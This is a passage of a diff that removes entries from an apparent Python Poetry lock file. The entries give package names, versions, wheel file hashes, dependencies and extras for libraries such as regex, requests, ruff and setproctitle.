-    {file = "regex-2026.1.15-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:55b4ea996a8e4458dd7b584a2f89863b1655dd3d17b88b46cbb9becc495a0ec5"},
-    {file = "regex-2026.1.15-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:7e1e28be779884189cdd57735e997f282b64fd7ccf6e2eef3e16e57d7a34a815"},
-    {file = "regex-2026.1.15-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:0057de9eaef45783ff69fa94ae9f0fd906d629d0bd4c3217048f46d1daa32e9b"},
-    {file = "regex-2026.1.15-cp39-cp39-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:cc7cd0b2be0f0269283a45c0d8b2c35e149d1319dcb4a43c9c3689fa935c1ee6"},
-    {file = "regex-2026.1.15-cp39-cp39-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:8db052bbd981e1666f09e957f3790ed74080c2229007c1dd67afdbf0b469c48b"},
-    {file = "regex-2026.1.15-cp39-cp39-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:343db82cb3712c31ddf720f097ef17c11dab2f67f7a3e7be976c4f82eba4e6df"},
-    {file = "regex-2026.1.15-cp39-cp39-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:55e9d0118d97794367309635df398bdfd7c33b93e2fdfa0b239661cd74b4c14e"},
-    {file = "regex-2026.1.15-cp39-cp39-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:008b185f235acd1e53787333e5690082e4f156c44c87d894f880056089e9bc7c"},
-    {file = "regex-2026.1.15-cp39-cp39-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:fd65af65e2aaf9474e468f9e571bd7b189e1df3a61caa59dcbabd0000e4ea839"},
-    {file = "regex-2026.1.15-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:f42e68301ff4afee63e365a5fc302b81bb8ba31af625a671d7acb19d10168a8c"},
-    {file = "regex-2026.1.15-cp39-cp39-musllinux_1_2_ppc64le.whl", hash = "sha256:f7792f27d3ee6e0244ea4697d92b825f9a329ab5230a78c1a68bd274e64b5077"},
-    {file = "regex-2026.1.15-cp39-cp39-musllinux_1_2_riscv64.whl", hash = "sha256:dbaf3c3c37ef190439981648ccbf0c02ed99ae066087dd117fcb616d80b010a4"},
-    {file = "regex-2026.1.15-cp39-cp39-musllinux_1_2_s390x.whl", hash = "sha256:adc97a9077c2696501443d8ad3fa1b4fc6d131fc8fd7dfefd1a723f89071cf0a"},
-    {file = "regex-2026.1.15-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:069f56a7bf71d286a6ff932a9e6fb878f151c998ebb2519a9f6d1cee4bffdba3"},
-    {file = "regex-2026.1.15-cp39-cp39-win32.whl", hash = "sha256:ea4e6b3566127fda5e007e90a8fd5a4169f0cf0619506ed426db647f19c8454a"},
-    {file = "regex-2026.1.15-cp39-cp39-win_amd64.whl", hash = "sha256:cda1ed70d2b264952e88adaa52eea653a33a1b98ac907ae2f86508eb44f65cdc"},
-    {file = "regex-2026.1.15-cp39-cp39-win_arm64.whl", hash = "sha256:b325d4714c3c48277bfea1accd94e193ad6ed42b4bad79ad64f3b8f8a31260a5"},
-    {file = "regex-2026.1.15.tar.gz", hash = "sha256:164759aa25575cbc0651bef59a0b18353e54300d79ace8084c818ad8ac72b7d5"},
-]
-
-[[package]]
-name = "requests"
-version = "2.34.2"
-description = "Python HTTP for Humans."
-optional = false
-python-versions = ">=3.10"
-groups = ["main", "docs"]
-files = [
-    {file = "requests-2.34.2-py3-none-any.whl", hash = "sha256:2a0d60c172f83ac6ab31e4554906c0f3b3588d37b5cb939b1c061f4907e278e0"},
-    {file = "requests-2.34.2.tar.gz", hash = "sha256:f288924cae4e29463698d6d60bc6a4da69c89185ad1e0bcc4104f584e960b9ed"},
-]
-
-[package.dependencies]
-certifi = ">=2023.5.7"
-charset_normalizer = ">=2,<4"
-idna = ">=2.5,<4"
-urllib3 = ">=1.26,<3"
-
-[package.extras]
-socks = ["PySocks (>=1.5.6,!=1.5.7)"]
-use-chardet-on-py3 = ["chardet (>=3.0.2,<8)"]
-
-[[package]]
-name = "requests-file"
-version = "3.0.1"
-description = "File transport adapter for Requests"
-optional = false
-python-versions = "*"
-groups = ["main"]
-files = [
-    {file = "requests_file-3.0.1-py2.py3-none-any.whl", hash = "sha256:d0f5eb94353986d998f80ac63c7f146a307728be051d4d1cd390dbdb59c10fa2"},
-    {file = "requests_file-3.0.1.tar.gz", hash = "sha256:f14243d7796c588f3521bd423c5dea2ee4cc730e54a3cac9574d78aca1272576"},
-]
-
-[package.dependencies]
-requests = ">=1.0.0"
-
-[[package]]
-name = "resolvelib"
-version = "1.0.1"
-description = "Resolve abstract dependencies into concrete ones"
-optional = false
-python-versions = "*"
-groups = ["main"]
-files = [
-    {file = "resolvelib-1.0.1-py2.py3-none-any.whl", hash = "sha256:d2da45d1a8dfee81bdd591647783e340ef3bcb104b54c383f70d422ef5cc7dbf"},
-    {file = "resolvelib-1.0.1.tar.gz", hash = "sha256:04ce76cbd63fded2078ce224785da6ecd42b9564b1390793f64ddecbe997b309"},
-]
-
-[package.extras]
-examples = ["html5lib", "packaging", "pygraphviz", "requests"]
-lint = ["black", "flake8", "isort", "mypy", "types-requests"]
-release = ["build", "towncrier", "twine"]
-test = ["commentjson", "packaging", "pytest"]
-
-[[package]]
-name = "ruff"
-version = "0.15.4"
-description = "An extremely fast Python linter and code formatter, written in Rust."
-optional = false
-python-versions = ">=3.7"
-groups = ["dev"]
-files = [
-    {file = "ruff-0.15.4-py3-none-linux_armv6l.whl", hash = "sha256:a1810931c41606c686bae8b5b9a8072adac2f611bb433c0ba476acba17a332e0"},
-    {file = "ruff-0.15.4-py3-none-macosx_10_12_x86_64.whl", hash = "sha256:5a1632c66672b8b4d3e1d1782859e98d6e0b4e70829530666644286600a33992"},
-    {file = "ruff-0.15.4-py3-none-macosx_11_0_arm64.whl", hash = "sha256:a4386ba2cd6c0f4ff75252845906acc7c7c8e1ac567b7bc3d373686ac8c222ba"},
-    {file = "ruff-0.15.4-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b2496488bdfd3732747558b6f95ae427ff066d1fcd054daf75f5a50674411e75"},
-    {file = "ruff-0.15.4-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:3f1c4893841ff2d54cbda1b2860fa3260173df5ddd7b95d370186f8a5e66a4ac"},
-    {file = "ruff-0.15.4-py3-none-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:820b8766bd65503b6c30aaa6331e8ef3a6e564f7999c844e9a547c40179e440a"},
-    {file = "ruff-0.15.4-py3-none-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:c9fb74bab47139c1751f900f857fa503987253c3ef89129b24ed375e72873e85"},
-    {file = "ruff-0.15.4-py3-none-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:f80c98765949c518142b3a50a5db89343aa90f2c2bf7799de9986498ae6176db"},
-    {file = "ruff-0.15.4-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:451a2e224151729b3b6c9ffb36aed9091b2996fe4bdbd11f47e27d8f2e8888ec"},
-    {file = "ruff-0.15.4-py3-none-manylinux_2_31_riscv64.whl", hash = "sha256:a8f157f2e583c513c4f5f896163a93198297371f34c04220daf40d133fdd4f7f"},
-    {file = "ruff-0.15.4-py3-none-musllinux_1_2_aarch64.whl", hash = "sha256:917cc68503357021f541e69b35361c99387cdbbf99bd0ea4aa6f28ca99ff5338"},
-    {file = "ruff-0.15.4-py3-none-musllinux_1_2_armv7l.whl", hash = "sha256:e9737c8161da79fd7cfec19f1e35620375bd8b2a50c3e77fa3d2c16f574105cc"},
-    {file = "ruff-0.15.4-py3-none-musllinux_1_2_i686.whl", hash = "sha256:291258c917539e18f6ba40482fe31d6f5ac023994ee11d7bdafd716f2aab8a68"},
-    {file = "ruff-0.15.4-py3-none-musllinux_1_2_x86_64.whl", hash = "sha256:3f83c45911da6f2cd5936c436cf86b9f09f09165f033a99dcf7477e34041cbc3"},
-    {file = "ruff-0.15.4-py3-none-win32.whl", hash = "sha256:65594a2d557d4ee9f02834fcdf0a28daa8b3b9f6cb2cb93846025a36db47ef22"},
-    {file = "ruff-0.15.4-py3-none-win_amd64.whl", hash = "sha256:04196ad44f0df220c2ece5b0e959c2f37c777375ec744397d21d15b50a75264f"},
-    {file = "ruff-0.15.4-py3-none-win_arm64.whl", hash = "sha256:60d5177e8cfc70e51b9c5fad936c634872a74209f934c1e79107d11787ad5453"},
-    {file = "ruff-0.15.4.tar.gz", hash = "sha256:3412195319e42d634470cc97aa9803d07e9d5c9223b99bcb1518f0c725f26ae1"},
-]
-
-[[package]]
-name = "setproctitle"
-version = "1.3.7"
-description = "A Python module to customize the process title"
-optional = false
-python-versions = ">=3.8"
-groups = ["main"]
-files = [
-    {file = "setproctitle-1.3.7-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:cf555b6299f10a6eb44e4f96d2f5a3884c70ce25dc5c8796aaa2f7b40e72cb1b"},
-    {file = "setproctitle-1.3.7-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:690b4776f9c15aaf1023bb07d7c5b797681a17af98a4a69e76a1d504e41108b7"},
-    {file = "setproctitle-1.3.7-cp310-cp310-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:00afa6fc507967d8c9d592a887cdc6c1f5742ceac6a4354d111ca0214847732c"},
-    {file = "setproctitle-1.3.7-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:9e02667f6b9fc1238ba753c0f4b0a37ae184ce8f3bbbc38e115d99646b3f4cd3"},
-    {file = "setproctitle-1.3.7-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:83fcd271567d133eb9532d3b067c8a75be175b2b3b271e2812921a05303a693f"},
-    {file = "setproctitle-1.3.7-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:13fe37951dda1a45c35d77d06e3da5d90e4f875c4918a7312b3b4556cfa7ff64"},
-    {file = "setproctitle-1.3.7-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:a05509cfb2059e5d2ddff701d38e474169e9ce2a298cf1b6fd5f3a213a553fe5"},
-    {file = "setproctitle-1.3.7-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:6da835e76ae18574859224a75db6e15c4c2aaa66d300a57efeaa4c97ca4c7381"},
-    {file = "setproctitle-1.3.7-cp310-cp310-win32.whl", hash = "sha256:9e803d1b1e20240a93bac0bc1025363f7f80cb7eab67dfe21efc0686cc59ad7c"},
-    {file = "setproctitle-1.3.7-cp310-cp310-win_amd64.whl", hash = "sha256:a97200acc6b64ec4cada52c2ecaf1fba1ef9429ce9c542f8a7db5bcaa9dcbd95"},
-    {file = "setproctitle-1.3.7-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:a600eeb4145fb0ee6c287cb82a2884bd4ec5bbb076921e287039dcc7b7cc6dd0"},
-    {file = "setproctitle-1.3.7-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:97a090fed480471bb175689859532709e28c085087e344bca45cf318034f70c4"},
-    {file = "setproctitle-1.3.7-cp311-cp311-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:1607b963e7b53e24ec8a2cb4e0ab3ae591d7c6bf0a160feef0551da63452b37f"},
-    {file = "setproctitle-1.3.7-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:a20fb1a3974e2dab857870cf874b325b8705605cb7e7e8bcbb915bca896f52a9"},
-    {file = "setproctitle-1.3.7-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:f8d961bba676e07d77665204f36cffaa260f526e7b32d07ab3df6a2c1dfb44ba"},
-    {file = "setproctitle-1.3.7-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:db0fd964fbd3a9f8999b502f65bd2e20883fdb5b1fae3a424e66db9a793ed307"},
-    {file = "setproctitle-1.3.7-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:db116850fcf7cca19492030f8d3b4b6e231278e8fe097a043957d22ce1bdf3ee"},
-    {file = "setproctitle-1.3.7-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:316664d8b24a5c91ee244460bdaf7a74a707adaa9e14fbe0dc0a53168bb9aba1"},
-    {file = "setproctitle-1.3.7-cp311-cp311-win32.whl", hash = "sha256:b74774ca471c86c09b9d5037c8451fff06bb82cd320d26ae5a01c758088c0d5d"},
-    {file = "setproctitle-1.3.7-cp311-cp311-win_amd64.whl", hash = "sha256:acb9097213a8dd3410ed9f0dc147840e45ca9797785272928d4be3f0e69e3be4"},
-    {file = "setproctitle-1.3.7-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:2dc99aec591ab6126e636b11035a70991bc1ab7a261da428491a40b84376654e"},
-    {file = "setproctitle-1.3.7-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:cdd8aa571b7aa39840fdbea620e308a19691ff595c3a10231e9ee830339dd798"},
-    {file = "setproctitle-1.3.7-cp312-cp312-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:2906b6c7959cdb75f46159bf0acd8cc9906cf1361c9e1ded0d065fe8f9039629"},
-    {file = "setproctitle-1.3.7-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:6915964a6dda07920a1159321dcd6d94fc7fc526f815ca08a8063aeca3c204f1"},
-    {file = "setproctitle-1.3.7-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:cff72899861c765bd4021d1ff1c68d60edc129711a2fdba77f9cb69ef726a8b6"},
-    {file = "setproctitle-1.3.7-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:b7cb05bd446687ff816a3aaaf831047fc4c364feff7ada94a66024f1367b448c"},
-    {file = "setproctitle-1.3.7-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:3a57b9a00de8cae7e2a1f7b9f0c2ac7b69372159e16a7708aa2f38f9e5cc987a"},
-    {file = "setproctitle-1.3.7-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:d8828b356114f6b308b04afe398ed93803d7fca4a955dd3abe84430e28d33739"},
-    {file = "setproctitle-1.3.7-cp312-cp312-win32.whl", hash = "sha256:b0304f905efc845829ac2bc791ddebb976db2885f6171f4a3de678d7ee3f7c9f"},
-    {file = "setproctitle-1.3.7-cp312-cp312-win_amd64.whl", hash = "sha256:9888ceb4faea3116cf02a920ff00bfbc8cc899743e4b4ac914b03625bdc3c300"},
-    {file = "setproctitle-1.3.7-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:c3736b2a423146b5e62230502e47e08e68282ff3b69bcfe08a322bee73407922"},
-    {file = "setproctitle-1.3.7-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:3384e682b158d569e85a51cfbde2afd1ab57ecf93ea6651fe198d0ba451196ee"},
-    {file = "setproctitle-1.3.7-cp313-cp313-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:0564a936ea687cd24dffcea35903e2a20962aa6ac20e61dd3a207652401492dd"},
-    {file = "setproctitle-1.3.7-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:a5d1cb3f81531f0eb40e13246b679a1bdb58762b170303463cb06ecc296f26d0"},
-    {file = "setproctitle-1.3.7-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:a7d159e7345f343b44330cbba9194169b8590cb13dae940da47aa36a72aa9929"},
-    {file = "setproctitle-1.3.7-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:0b5074649797fd07c72ca1f6bff0406f4a42e1194faac03ecaab765ce605866f"},
-    {file = "setproctitle-1.3.7-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:61e96febced3f61b766115381d97a21a6265a0f29188a791f6df7ed777aef698"},
-    {file = "setproctitle-1.3.7-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:047138279f9463f06b858e579cc79580fbf7a04554d24e6bddf8fe5dddbe3d4c"},
-    {file = "setproctitle-1.3.7-cp313-cp313-win32.whl", hash = "sha256:7f47accafac7fe6535ba8ba9efd59df9d84a6214565108d0ebb1199119c9cbbd"},
-    {file = "setproctitle-1.3.7-cp313-cp313-win_amd64.whl", hash = "sha256:fe5ca35aeec6dc50cabab9bf2d12fbc9067eede7ff4fe92b8f5b99d92e21263f"},
-    {file = "setproctitle-1.3.7-cp313-cp313t-macosx_10_13_universal2.whl", hash = "sha256:10e92915c4b3086b1586933a36faf4f92f903c5554f3c34102d18c7d3f5378e9"},
-    {file = "setproctitle-1.3.7-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:de879e9c2eab637f34b1a14c4da1e030c12658cdc69ee1b3e5be81b380163ce5"},
-    {file = "setproctitle-1.3.7-cp313-cp313t-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:c18246d88e227a5b16248687514f95642505000442165f4b7db354d39d0e4c29"},
-    {file = "setproctitle-1.3.7-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:7081f193dab22df2c36f9fc6d113f3793f83c27891af8fe30c64d89d9a37e152"},
-    {file = "setproctitle-1.3.7-cp313-cp313t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:9cc9b901ce129350637426a89cfd650066a4adc6899e47822e2478a74023ff7c"},
-    {file = "setproctitle-1.3.7-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:80e177eff2d1ec172188d0d7fd9694f8e43d3aab76a6f5f929bee7bf7894e98b"},
-    {file = "setproctitle-1.3.7-cp313-cp313t-musllinux_1_2_ppc64le.whl", hash = "sha256:23e520776c445478a67ee71b2a3c1ffdafbe1f9f677239e03d7e2cc635954e18"},
-    {file = "setproctitle-1.3.7-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:5fa1953126a3b9bd47049d58c51b9dac72e78ed120459bd3aceb1bacee72357c"},
-    {file = "setproctitle-1.3.7-cp313-cp313t-win32.whl", hash = "sha256:4a5e212bf438a4dbeece763f4962ad472c6008ff6702e230b4f16a037e2f6f29"},
-    {file = "setproctitle-1.3.7-cp313-cp313t-win_amd64.whl", hash = "sha256:cf2727b733e90b4f874bac53e3092aa0413fe1ea6d4f153f01207e6ce65034d9"},
-    {file = "setproctitle-1.3.7-cp314-cp314-macosx_10_13_universal2.whl", hash = "sha256:80c36c6a87ff72eabf621d0c79b66f3bdd0ecc79e873c1e9f0651ee8bf215c63"},
-    {file = "setproctitle-1.3.7-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:b53602371a52b91c80aaf578b5ada29d311d12b8a69c0c17fbc35b76a1fd4f2e"},
-    {file = "setproctitle-1.3.7-cp314-cp314-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:fcb966a6c57cf07cc9448321a08f3be6b11b7635be502669bc1d8745115d7e7f"},
-    {file = "setproctitle-1.3.7-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:46178672599b940368d769474fe13ecef1b587d58bb438ea72b9987f74c56ea5"},
-    {file = "setproctitle-1.3.7-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:7f9e9e3ff135cbcc3edd2f4cf29b139f4aca040d931573102742db70ff428c17"},
-    {file = "setproctitle-1.3.7-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:14c7eba8d90c93b0e79c01f0bd92a37b61983c27d6d7d5a3b5defd599113d60e"},
-    {file = "setproctitle-1.3.7-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:9e64e98077fb30b6cf98073d6c439cd91deb8ebbf8fc62d9dbf52bd38b0c6ac0"},
-    {file = "setproctitle-1.3.7-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:b91387cc0f02a00ac95dcd93f066242d3cca10ff9e6153de7ee07069c6f0f7c8"},
-    {file = "setproctitle-1.3.7-cp314-cp314-win32.whl", hash = "sha256:52b054a61c99d1b72fba58b7f5486e04b20fefc6961cd76722b424c187f362ed"},
-    {file = "setproctitle-1.3.7-cp314-cp314-win_amd64.whl", hash = "sha256:5818e4080ac04da1851b3ec71e8a0f64e3748bf9849045180566d8b736702416"},
-    {file = "setproctitle-1.3.7-cp314-cp314t-macosx_10_13_universal2.whl", hash = "sha256:6fc87caf9e323ac426910306c3e5d3205cd9f8dcac06d233fcafe9337f0928a3"},
-    {file = "setproctitle-1.3.7-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:6134c63853d87a4897ba7d5cc0e16abfa687f6c66fc09f262bb70d67718f2309"},
-    {file = "setproctitle-1.3.7-cp314-cp314t-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:1403d2abfd32790b6369916e2313dffbe87d6b11dca5bbd898981bcde48e7a2b"},
-    {file = "setproctitle-1.3.7-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:e7c5bfe4228ea22373e3025965d1a4116097e555ee3436044f5c954a5e63ac45"},
-    {file = "setproctitle-1.3.7-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:585edf25e54e21a94ccb0fe81ad32b9196b69ebc4fc25f81da81fb8a50cca9e4"},
-    {file = "setproctitle-1.3.7-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:96c38cdeef9036eb2724c2210e8d0b93224e709af68c435d46a4733a3675fee1"},
-    {file = "setproctitle-1.3.7-cp314-cp314t-musllinux_1_2_ppc64le.whl", hash = "sha256:45e3ef48350abb49cf937d0a8ba15e42cee1e5ae13ca41a77c66d1abc27a5070"},
-    {file = "setproctitle-1.3.7-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:1fae595d032b30dab4d659bece20debd202229fce12b55abab978b7f30783d73"},
-    {file = "setproctitle-1.3.7-cp314-cp314t-win32.whl", hash = "sha256:02432f26f5d1329ab22279ff863c83589894977063f59e6c4b4845804a08f8c2"},
-    {file = "setproctitle-1.3.7-cp314-cp314t-win_amd64.whl", hash = "sha256:cbc388e3d86da1f766d8fc2e12682e446064c01cea9f88a88647cfe7c011de6a"},
-    {file = "setproctitle-1.3.7-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:376761125ab5dab822d40eaa7d9b7e876627ecd41de8fa5336713b611b47ccef"},
-    {file = "setproctitle-1.3.7-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:2a4e03bd9aa5d10b8702f00ec1b740691da96b5003432f3000d60c56f1c2b4d3"},
-    {file = "setproctitle-1.3.7-cp38-cp38-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:47d36e418ab86b3bc7946e27155e281a743274d02cd7e545f5d628a2875d32f9"},
-    {file = "setproctitle-1.3.7-cp38-cp38-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:a74714ce836914063c36c8a26ae11383cf8a379698c989fe46883e38a8faa5be"},
-    {file = "setproctitle-1.3.7-cp38-cp38-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:f2ae6c3f042fc866cc0fa2bc35ae00d334a9fa56c9d28dfc47d1b4f5ed23e375"},
-    {file = "setproctitle-1.3.7-cp38-cp38-musllinux_1_2_aarch64.whl", hash = "sha256:be7e01f3ad8d0e43954bebdb3088cb466633c2f4acdd88647e7fbfcfe9b9729f"},
-    {file = "setproctitle-1.3.7-cp38-cp38-musllinux_1_2_ppc64le.whl", hash = "sha256:35a2cabcfdea4643d7811cfe9f3d92366d282b38ef5e7e93e25dafb6f97b0a59"},
-    {file = "setproctitle-1.3.7-cp38-cp38-musllinux_1_2_x86_64.whl", hash = "sha256:8ce2e39a40fca82744883834683d833e0eb28623752cc1c21c2ec8f06a890b39"},
-    {file = "setproctitle-1.3.7-cp38-cp38-win32.whl", hash = "sha256:6f1be447456fe1e16c92f5fb479404a850d8f4f4ff47192fde14a59b0bae6a0a"},
-    {file = "setproctitle-1.3.7-cp38-cp38-win_amd64.whl", hash = "sha256:5ce2613e1361959bff81317dc30a60adb29d8132b6159608a783878fc4bc4bbc"},
-    {file = "setproctitle-1.3.7-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:deda9d79d1eb37b688729cac2dba0c137e992ebea960eadb7c2c255524c869e0"},
-    {file = "setproctitle-1.3.7-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:a93e4770ac22794cfa651ee53f092d7de7105c76b9fc088bb81ca0dcf698f704"},
-    {file = "setproctitle-1.3.7-cp39-cp39-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:134e7f66703a1d92c0a9a0a417c580f2cc04b93d31d3fc0dd43c3aa194b706e1"},
-    {file = "setproctitle-1.3.7-cp39-cp39-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:9796732a040f617fc933f9531c9a84bb73c5c27b8074abbe52907076e804b2b7"},
-    {file = "setproctitle-1.3.7-cp39-cp39-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:ff3c1c32382fb71a200db8bab3df22f32e6ac7ec3170e92fa5b542cf42eed9a2"},
-    {file = "setproctitle-1.3.7-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:01f27b5b72505b304152cb0bd7ff410cc4f2d69ac70c21a7fdfa64400a68642d"},
-    {file = "setproctitle-1.3.7-cp39-cp39-musllinux_1_2_ppc64le.whl", hash = "sha256:80b6a562cbc92b289c28f34ce709a16b26b1696e9b9a0542a675ce3a788bdf3f"},
-    {file = "setproctitle-1.3.7-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:c4fb90174d176473122e7eef7c6492d53761826f34ff61c81a1c1d66905025d3"},
-    {file = "setproctitle-1.3.7-cp39-cp39-win32.whl", hash = "sha256:c77b3f58a35f20363f6e0a1219b367fbf7e2d2efe3d2c32e1f796447e6061c10"},
-    {file = "setproctitle-1.3.7-cp39-cp39-win_amd64.whl", hash = "sha256:318ddcf88dafddf33039ad41bc933e1c49b4cb196fe1731a209b753909591680"},
-    {file = "setproctitle-1.3.7-pp310-pypy310_pp73-macosx_11_0_arm64.whl", hash = "sha256:eb440c5644a448e6203935ed60466ec8d0df7278cd22dc6cf782d07911bcbea6"},
-    {file = "setproctitle-1.3.7-pp310-pypy310_pp73-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:502b902a0e4c69031b87870ff4986c290ebbb12d6038a70639f09c331b18efb2"},
-    {file = "setproctitle-1.3.7-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:f6f268caeabb37ccd824d749e7ce0ec6337c4ed954adba33ec0d90cc46b0ab78"},
-    {file = "setproctitle-1.3.7-pp311-pypy311_pp73-macosx_11_0_arm64.whl", hash = "sha256:b1cac6a4b0252b8811d60b6d8d0f157c0fdfed379ac89c25a914e6346cf355a1"},
-    {file = "setproctitle-1.3.7-pp311-pypy311_pp73-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:f1704c9e041f2b1dc38f5be4552e141e1432fba3dd52c72eeffd5bc2db04dc65"},
-    {file = "setproctitle-1.3.7-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:b08b61976ffa548bd5349ce54404bf6b2d51bd74d4f1b241ed1b0f25bce09c3a"},
-    {file = "setproctitle-1.3.7.tar.gz", hash = "sha256:bc2bc917691c1537d5b9bca1468437176809c7e11e5694ca79a9ca12345dcb9e"},
-]
-
-[package.extras]
-test = ["pytest"]
-
-[[package]]
-name = "six"
-version = "1.17.0"
-description = "Python 2 and 3 compatibility utilities"
-optional = false
-python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,>=2.7"
-groups = ["docs"]
-files = [
-    {file = "six-1.17.0-py2.py3-none-any.whl", hash = "sha256:4721f391ed90541fddacab5acf947aa0d3dc7d27b2e1e8eda2be8970586c3274"},
-    {file = "six-1.17.0.tar.gz", hash = "sha256:ff70335d468e7eb6ec65b95b99d3a2836546063f63acc5171de367e834932a81"},
-]
-
-[[package]]
-name = "socksio"
-version = "1.0.0"
-description = "Sans-I/O implementation of SOCKS4, SOCKS4A, and SOCKS5."
-optional = false
-python-versions = ">=3.6"
-groups = ["main"]
-files = [
